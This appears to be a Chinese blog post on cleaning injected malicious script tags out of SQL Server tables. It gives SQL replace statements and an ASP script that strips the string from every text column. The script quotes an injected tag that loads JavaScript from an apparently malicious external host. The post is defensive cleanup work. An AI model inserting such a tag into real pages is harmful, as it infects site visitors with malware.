挂马代码清除方法集
1、varchar 类型的直接replace一下就ok了。
如:"update [t_information] set publisher=replace(publisher, '', '')"
2、text字段,就要麻烦一下(超过8000就要另想办法了)
"update [t_information] set AuthorInfor=replace(cast(AuthorInfor as varchar(8000)) ,'','')"
3、有时有特殊符号,如 %,可以用下列的方法处理一下
update [infor_types] set parentid=replace(parentid, char(37), '')
- <%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
- <!--#include file="Inc/conn.asp"-->
- <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
- <%
- server.ScriptTimeout = 1000000
- 'xtype=99 ntext 与text类型相似,不同的是,ntext类型采用unicode标准字符集。
- 'xtype=35 text 用于存储大量文本数据。
- 'xtype=231 nvarchar 用来定义可变长度的二进制数据,最大长度为4000个字符。
- 'xtype=167 varchar 存储最常可以达到8000个字符的变长的字符数据
- str = "'<mce:script src="http://e6t.3322.org/c.js" mce_src="http://e6t.3322.org/c.js"></mce:script>'" '加在文本类型字段后的木马代码
- sql = "SELECT a.name as t_name,b.name as c_name, b.xtype FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)"
- set rs = conn.execute(sql)
- while Not rs.eof
- t_name = rs("t_name") '表名
- c_name = rs("c_name") '字段名
- xtype = rs("xtype") '字段类型
- If (xtype = 99 Or xtype = 35) then
- conn.execute("update [" + t_name + "] set [" + c_name + "]=replace(cast([" + c_name + "] as varchar(8000)), " + str + ", '')")
- Else
- conn.execute("update [" + t_name + "] set [" + c_name + "]=replace([" + c_name + "], " + str + ", '')")
- End If
- rs.movenext
- wend
- response.Write("已经初步清理了挂马数据,请重新刷新页面试试看!")
- %>
<%
server.ScriptTimeout = 1000000
'xtype=99 ntext 与text类型相似,不同的是,ntext类型采用unicode标准字符集。
'xtype=35 text 用于存储大量文本数据。
'xtype=231 nvarchar 用来定义可变长度的二进制数据,最大长度为4000个字符。
'xtype=167 varchar 存储最常可以达到8000个字符的变长的字符数据
str = "'
【推荐】还在用 ECharts 开发大屏?试试这款永久免费的开源 BI 工具!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· ASP.NET Core 模型验证消息的本地化新姿势
· 对象命名为何需要避免'-er'和'-or'后缀
· SQL Server如何跟踪自动统计信息更新?
· AI与.NET技术实操系列:使用Catalyst进行自然语言处理
· 分享一个我遇到过的“量子力学”级别的BUG。
· 为什么AI教师难以实现
· AI Agent爆火后,MCP协议为什么如此重要!
· Draw.io:你可能不知道的「白嫖级」图表绘制神器
· dotnet 源代码生成器分析器入门
· ASP.NET Core 模型验证消息的本地化新姿势